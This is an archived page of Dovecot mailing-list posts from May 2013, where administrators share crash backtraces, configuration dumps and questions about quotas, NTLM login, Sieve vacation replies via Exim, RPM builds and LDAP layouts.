`dovecot/imap'. Program terminated with signal 6, Aborted. #0 0x00007fd60b3aa8a5 in raise () from /lib64/libc.so.6 Missing separate debuginfos, use: debuginfo-install dovecot-2.2.1-0_134.el6.x86_64 (gdb) bt full #0 0x00007fd60b3aa8a5 in raise () from /lib64/libc.so.6 No symbol table info available. #1 0x00007fd60b3ac085 in abort () from /lib64/libc.so.6 No symbol table info available. #2 0x00007fd60b76a698 in ?? () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #3 0x00007fd60b76a6d6 in ?? () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #4 0x00007fd60b72affa in i_panic () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #5 0x00007fd60ba402f2 in mailbox_copy () from /usr/lib64/dovecot/libdovecot-storage.so.0 No symbol table info available. #6 0x000000000040bebb in ?? () No symbol table info available. #7 0x000000000041502d in command_exec () No symbol table info available. #8 0x0000000000414190 in ?? () No symbol table info available. #9 0x000000000041427d in ?? () No symbol table info available. #10 0x00000000004144fd in client_handle_input () No symbol table info available. #11 0x000000000041486f in client_input () No symbol table info available. #12 0x00007fd60b7799d6 in io_loop_call_io () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #13 0x00007fd60b77aa87 in io_loop_handler_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #14 0x00007fd60b779978 in io_loop_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #15 0x00007fd60b72fa63 in master_service_run () from /usr/lib64/dovecot/libdovecot.so.0 No symbol table info available. #16 0x000000000041dcf9 in main () No symbol table info available. (gdb) any ideas ?

2 2

[Dovecot] LDA/LMTP - saving to INBOX fallback on tempfail?
by Timo Sirainen 31 May '13

31 May '13

Currently if saving to mailbox fails for any reason, the mail is saved to INBOX instead. Same if a Sieve redirect fails, the mail is saved to INBOX. I'm wondering if anyone actually prefers this behavior when the error is temporary? For example if some index file corruption was detected, the save will most likely succeed the next time it's attempted. Or if the redirect fails because the SMTP server can't be connected to at the moment. So I was thinking about changing v2.2 LDA/LMTP to simply return temporary failure instead of saving the mail to INBOX.

3 5

Re: [Dovecot] dovecot Digest, Vol 121, Issue 84
by Arun Gupta 31 May '13

31 May '13

Thanks...... On Fri, 31 May 2013, dovecot-request(a)dovecot.org wrote: > Send dovecot mailing list submissions to > dovecot(a)dovecot.org > > To subscribe or unsubscribe via the World Wide Web, visit > http://dovecot.org/cgi-bin/mailman/listinfo/dovecot > or, via email, send a message with subject or body 'help' to > dovecot-request(a)dovecot.org > > You can reach the person managing the list at > dovecot-owner(a)dovecot.org > > When replying, please edit your Subject line so it is more specific > than "Re: Contents of dovecot digest..." > > > Today's Topics: > > 1. Re: IMAP QUOTA (Steffen) > 2. Settings: Dovecot + NTLM + Single Sing On + Windows + Outlook > or Thunderbird. (Maria Jose Ya?ez Dacosta) > 3. Re: Settings: Dovecot + NTLM + Single Sing On + Windows + > Outlook or Thunderbird. (Charles Marcus) > 4. Re: IMAP QUOTA (Timo Sirainen) > 5. Re: Settings: Dovecot + NTLM + Single Sing On + Windows + > Outlook or Thunderbird. (Maria Jose Ya?ez Dacosta) > 6. Re: Dovecot mysql replication (Robert Schetterer) > 7. Re: Dovecot mysql replication (Noel Butler) > 8. Re: Dovecot mysql replication (Noel Butler) > > > ---------------------------------------------------------------------- > > Message: 1 > Date: Thu, 30 May 2013 17:09:27 +0200 > From: Steffen <skdovecot(a)smail.inf.fh-brs.de> > To: Dovecot Mailing List <dovecot(a)dovecot.org> > Subject: Re: [Dovecot] IMAP QUOTA > Message-ID: <51A76BA7.8040501(a)smail.inf.fh-brs.de> > Content-Type: text/plain; charset=ISO-8859-1 > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Arun Gupta wrote: >> >> I read about Snarf plugin, it works if the mail already in spool >> area, but I want to know whether it is possible if users quota >> exceeded then instead of mail rejected it should delived to user >> spool area or somewhere else. > > I understand and you should consider Charles' advice :-) > > This is something your MDA should do. Neither the Dovecot LMTP server > nor the current Dovecot deliver can do so. But deliver is rather > small, so you could hack it in. > > Or use Dovecot deliver in combination with Snarf and a MDA wrapper, e.g.: > > The wrapper script first checks, if the recipient is over quota, in > that case use another maildrop programm, such as procmail, that > delivers the message to a spool area; otherwise call Dovecot deliver > with the usual arguments. Or if you call Dovecot deliver and it exits > with exit code 69 (Tempfailure), call that other MDA. > > Then let Snarf pull the messages into the INBOX next time. > > - -- > Steffen > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (Darwin) > Comment: Using GnuPG with undefined - http://www.enigmail.net/ > > iQEVAwUBUadrp13r2wJMiz2NAQIpiAf+JSeuZns89NoJV5aW2Li4myLp209HycHt > j3varTiBYgekw1vMAhDXYH/RKnMwWlOFSe15YIMTcCIY8gjTIqCx6YA/W1cJVZL+ > 3zRVA/75t3CsAFx70/+fecrZJnY6u0Ok7VUXJ4DAxdJgsOyqXZy9/6bt+t43TcaT > pUlug3nAmIP9GwZ2GQFGkEFxfD74EPVRVg8opAZzTaSPuv/IfKsC8f4RA64JtQ2S > EACc/nEC4xVmjDAz/9cpLLsWiLlYfy/cEDIw49XA2MrQsIIS7qkHcDLawuqsVsAk > HHXX/iqmcRBtznpO94XS9SCtvUa/5fDkVYv56uuDazEHpy4urBrtyA== > =Qo2f > -----END PGP SIGNATURE----- > > > ------------------------------ > > Message: 2 > Date: Thu, 30 May 2013 12:34:24 -0300 > From: Maria Jose Ya?ez Dacosta <mariajose1982(a)gmail.com> > To: dovecot(a)dovecot.org > Subject: [Dovecot] Settings: Dovecot + NTLM + Single Sing On + Windows > + Outlook or Thunderbird. > Message-ID: > <CAHQv7acLG6X23w3vxhUtdR2RkSBAXhMHM+uSi9zASbUjtfstXA(a)mail.gmail.com> > Content-Type: text/plain; charset="iso-8859-1" > > I am following the steps listed in: > http://wiki.dovecot.org/HowTo/ActiveDirectoryNtlm > > My goal is to have single sign-on for Microsoft Outlook applications. > > I working and I have some doubts since I never set up an imap server, hope > I can help :). > > The version that I have installed is devecot 2.0.9. > > "dovecot -n" shows the following: > > # 2.0.9: /etc/dovecot/dovecot.conf > # OS: Linux 2.6.32-71.el6.x86_64 x86_64 CentOS release 6.4 (Final) > auth_use_winbind = yes > mbox_write_locks = fcntl > passdb { > driver = pam > } > protocols = imap pop3 > ssl = no > userdb { > args = uid=10000 gid=10000 home=/mail/%d/%n > driver = static > } > > I show what I have in /etc/samba/smb.conf > > [global] > workgroup = EJEMPLO > realm = EJEMPLO.COM.UY > server string = %h (Samba %v) > security = ADS > password server = ad.domain.dom > username map = /etc/samba/mapeousuarios > map untrusted to domain = Yes > syslog = 0 > log file = /var/log/samba/log.%m > max log size = 1000 > name resolve order = wins host bcast > local master = No > domain master = No > dns proxy = No > wins server = here active directory ip > panic action = /usr/share/samba/panic-action %d > winbind separator = + > winbind use default domain = Yes > winbind rpc only = Yes > idmap config * : range = 1200-3000 > idmap config * : backend = tdb > > [usuarios3] > path = /exports/archivos-usuarios > read only = No > map acl inherit = Yes > store dos attributes = Yes > > > "wbinfo -g" and "wbinfo -u" work well. > > kinit Administrator work well also. > > Some steps of the configuration in dovecot.conf does not recognize: > > 1) "protocols = imap imaps pop3 pop3s". > > 2) "mechanisms = plain ntlm login". > > 3) "allow_all_users=yes" y > "mail=maildir:/home/vmail/%d/%1Ln/%Ln:INBOX=/home/vmail/%d/%1Ln/%Ln". > > I'm not sure I should put in place. > > I also have some doubts: > > 1) I have to create a keytab file containing the principal for > imap and pop?, as it would indicate Dovecot?. > > 2) That should indicate values uid y el gid? > > 3) I have to set something in pam? > > if I make "telnet localhost imap" shows the following: > > OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE > AUTH=PLAIN] Dovecot ready > > NTLM not appears in the options. > > I hope I can shed some light on the subject :) Thanks and greetings. > > > -- Regards, Arun Kumar Gupta Mail Administrator National PARAM Supercomputing Facility (NPSF) Centre for Development of Advanced Computing Ganeshkhind Road Pune University Campus PUNE-Maharastra Phone : +91-20-25704347 WEB : http://www.cdac.in/ ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies and the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email is strictly prohibited and appropriate legal action will be taken. -------------------------------------------------------------------------------------------------------------------------------

1 0

[Dovecot] IMAP QUOTA
by Arun Gupta 30 May '13

30 May '13

Hi, I configured imap quota on dovecot-2.0 with backend Maildir++, after exceeding user quota the sender receiving bounce mails, Is there any way that after exceeding user quota the mail will deliver somewhere else like user spool area? so that after increasing quota user will get the mails. -- Regards, Arun Kumar Gupta ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies and the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email is strictly prohibited and appropriate legal action will be taken. -------------------------------------------------------------------------------------------------------------------------------

4 3

Re: [Dovecot] IMAP QUOTA
by Arun Gupta 30 May '13

30 May '13

Hi, Thanks for replying... Dear Steffen I search about "slurp" plugin but didn't get it if possible kindly provde me the doc, link etc for the same. Regards, Arun Gupta On Tue, 28 May 2013, Arun Gupta wrote: > I configured imap quota on dovecot-2.0 with backend Maildir++, after > exceeding user quota the sender receiving bounce mails, Is there any way that > after exceeding user quota the mail will deliver somewhere else like user > spool area? so that after increasing quota user will get the mails. Check out the "slurp" plugin and let your MTA deliver mails to, say, /var/mail/<uid> . You will have no Sieve rules then, I think. However, some sort of quota enforcing you will need there, too. - -- Steffen Kaiser ------------------------------------------------------------------------------------------------------------------------------- This e-mail is for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all copies and the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email is strictly prohibited and appropriate legal action will be taken. -------------------------------------------------------------------------------------------------------------------------------

4 4

[Dovecot] Sieve/pigeonhole with Exim and Dovecot LDA
by Sebastian Arcus 30 May '13

30 May '13

I am trying to configure my Dovecot installation to provide Vacation/Out-of-the-office emails using the Sieve plugin. My setup is a little bit peculiar: Internet Internet | ^ V | Provider's POP3 server Provider's SMTP server | ^ V | -------------- getmail | my server | | V | Dovecot LDA ---> Sieve/vacation -----> Exim | V Dovecot my server --------------- Sorry for the ASCII art above - I thought it would be quicker than trying to explain. The trouble I'm having is getting the Dovecot LDA to send successfully through the local exim instance out-of-office replies back to the provider's smtp server - when receiving fresh email from the provider (through getmail). Dovecot LDA tries to send the replies - but Exim freezes them because they don't contain the sender data in the format Exim wants it. Exim can either receive sender info: 1. On the command line, after the "-f" command line switch (but only when called by root or other users passed under "trusted_users" in exim.conf). 2. In the header of the email - in the "From:" field - but only, apparently, if it was called with the "-t" switch. Full exim command line documentation here: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_comman… I can't figure out what command line options the Dovecot LDA is using when calling exim. I also couldn't find a way to get Dovecot LDA to pass extra options to exim, when trying to send email. The exim log has the following: 2013-05-20 15:35:15 1UeRBB-0001xc-Ar Frozen (message created with -f <>) I've inspected the frozen message - and it has the correct sender in the "From:" field - but it seems that exim isn't using that, because it wasn't called with the "-t" option. In dovecot.conf, I have the following for Dovecot LDA and sieve: protocols = imap sieve protocol lda { log_path = /var/log/dovecot/dovecot-deliver.log info_log_path = /var/log/dovecot/dovecot-deliver-info.log postmaster_address = admin(a)mydomain.co.uk hostname = mydomain.co.uk mail_plugins = sieve mail_plugin_dir = /usr/lib/dovecot sendmail_path = /usr/sbin/exim } service managesieve-login { inet_listener sieve { port = 4190 } } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } Dovecot LDA is called by getmail using the vmail user - and using the same user it is trying to call exim to deliver the out-of-office replies. I'm using Dovecot 2.2.1 with pigeonhole 0.4.0. I can post the rest of dovecot.conf if it would help. I've read through the stuff at dovecot.org - but all the Dovecot LDA and exim info refers to Exim passing email to Dovecot using Dovecot LDA - not Dovecot LDA sending email out using Exim.

2 8

Re: [Dovecot] Dovecot 2.2 build rpm on Centos6
by Burak GÜRER 30 May '13

30 May '13

On 30-05-2013 10:52, Arto Saraniva wrote: > >> -----Original Message----- >> From: dovecot-bounces(a)dovecot.org [mailto:dovecot-bounces@dovecot.org] >> On Behalf Of Burak GÜRER >> Sent: Thursday, May 30, 2013 10:34 AM >> To: Nikolaos Milas >> Cc: Dovecot Mailing List >> Subject: Re: [Dovecot] Dovecot 2.2 build rpm on Centos6 >> >> On 27-05-2013 16:56, Nikolaos Milas wrote: >>> On 27/5/2013 1:07 μμ, Birta Levente wrote: >>> >>>> I tried to build rpm based on dovecot-2.2.2-2.fc20.src.rpm on Centos >>>> 6.4 >>> You may want to try: >>> >>> dovecot-2.2.2-2.noa.el6.src.rpm >>> >>> which produces: >>> >>> dovecot-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-debuginfo-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-devel-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-mysql-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-pgsql-2.2.2-2.noa.el6.x86_64.rpm >>> dovecot-pigeonhole-2.2.2-2.noa.el6.x86_64.rpm >>> >>> available at: http://www.noa.gr/rpmfiles/ >>> >>> This package is using LTB Project's Openldap RPMs for LDAP linking: >>> >>> http://ltb-project.org/wiki/download#openldap >>> >>> The above Dovecot SRPM has evolved from fakessh's rpms: >>> http://ns.fakessh.eu/rpms/ and I like it because it is clean and >> clear >>> (to me, at least). >>> >>> Nick >> another question.. anybody built dovecot 2.2 on rhel/centos 5 >> >> there is any knowhow or any builded pack > http://www.city-fan.org/ftp/contrib/mail/ > > -arto > thanks arto

1 0

[Dovecot] Dovecot 2.2 build rpm on Centos6
by Birta Levente 30 May '13

30 May '13

Hi list, I tried to build rpm based on dovecot-2.2.2-2.fc20.src.rpm on Centos 6.4 rpmbuild --define 'rhel 64' -ba dovecot-2.2.spec I get this error: checking for C compiler default output file name... configure: error: in `/home/builder/rpmbuild/BUILD/dovecot-2.2.2': configure: error: C compiler cannot create executables See `config.log' for more details. (config.log attached) What I missing? I'm not totally beginner, built dovecot 2.1 rpm-s many times same way like this, but not know mutch about building rpms and with this I just can get to work. Thank you! Levi

6 10

[Dovecot] Perfect LDAP tree
by Evgeny Basov 30 May '13

30 May '13

Hello everybody and Timo. I have the next problem. With LDAP tree like ou=mail | - dc=example1.com,ou=Mail | - mail=box1(a)example1.com,dc=example1.com,ou=Mail | - mail=box2(a)example1.com,dc=example1.com,ou=Mail … | - dc=example2.com,ou=Mail | - mail=box1(a)example2.com,dc=example2.com,ou=Mail | - mail=box2(a)example2.com,dc=example2.com,ou=Mail … and settings in dovecot configuration files auth_bind = yes auth_bind_userdn = mail=%u,dc=%d,ou=mail base = ou=mail user_attrs = \ =home=/var/vmail/%Ld/%Ln, \ =quota_rule=*:storage=%{ldap:mailQuota}M user_filter = (&(objectClass=mailUser)(accountStatus=active)(mail=%u)) pass_attrs = \ =user=%{ldap:mail}, \ =proxy_maybe=yes, \ =host=%{ldap:mailHost}, \ =userdb_home=/var/vmail/%Ld/%Ln, \ =userdb_quota_rule=*:storage=%{ldap:mailQuota}M pass_filter = (&(objectClass=mailUser)(accountStatus=active)(mail=%u)) iterate_attrs = mail=user iterate_filter = (&(objectClass=mailUser)(accountStatus=active)) all works fine. But my soul of perfectionist do not like this configuration because in every mailbox record duplicated information about domain: mail=box1(a)example2.com and dc=example2.com I want to set next LDAP tree ou=mail | - dc=example1.com,ou=Mail | - mail=box1,dc=example1.com,ou=Mail | - mail=box2,dc=example1.com,ou=Mail … | - dc=example2.com,ou=Mail | - mail=box1,dc=example2.com,ou=Mail | - mail=box2,dc=example2.com,ou=Mail … but I don't understand how to limit query to box1(a)example1.com in dc=example1.com,ou=mail without using base=dc=%d,ou=Clients,o=m and how to get working iterate query for all boxes to get list box1(a)example1.com box2(a)example1.com box1(a)example2.com box2(a)example2.com in some command like doveadm quota recalc -A. Is it possible? How to take it?

2 2

[Dovecot] imap/pop problem
by MP Netsai 30 May '13

30 May '13

Dear All, I hope you can help me on this trouble i am getting. I cant seem to get email even though i have given the correct directory for mail location. Here is my config: ===== # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_mechanisms = plain login disable_plaintext_auth = no first_valid_uid = 1001 last_valid_uid = 1001 mail_debug = yes mail_gid = exim mail_location = maildir:/var/mail/virtual/%d/%n mail_uid = exim namespace inbox { inbox = yes location = mailbox Drafts { special_use = \Drafts } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } mailbox "Sent Messages" { special_use = \Sent } mailbox Trash { special_use = \Trash } prefix = } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } protocols = " imap pop3" service auth { unix_listener auth-userdb { group = exim mode = 0600 user = exim } } ssl_cert = </usr/local/etc/exim/exim.cert ssl_key = </usr/local/etc/exim/exim.key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } protocol pop3 { pop3_uidl_format = %08Xu%08Xv } ===== the virtual email directory is as follows: ===== root@peyote:/var/mail/virtual# ls -l drwx------ 9691 exim exim 266240 May 28 16:17 mydomain.co.zw ===== Mail is moving ok, into the virtual directory. I just cant seem to pop them out of there. I hope someone can get to point me in the right direction. Regards,

2 2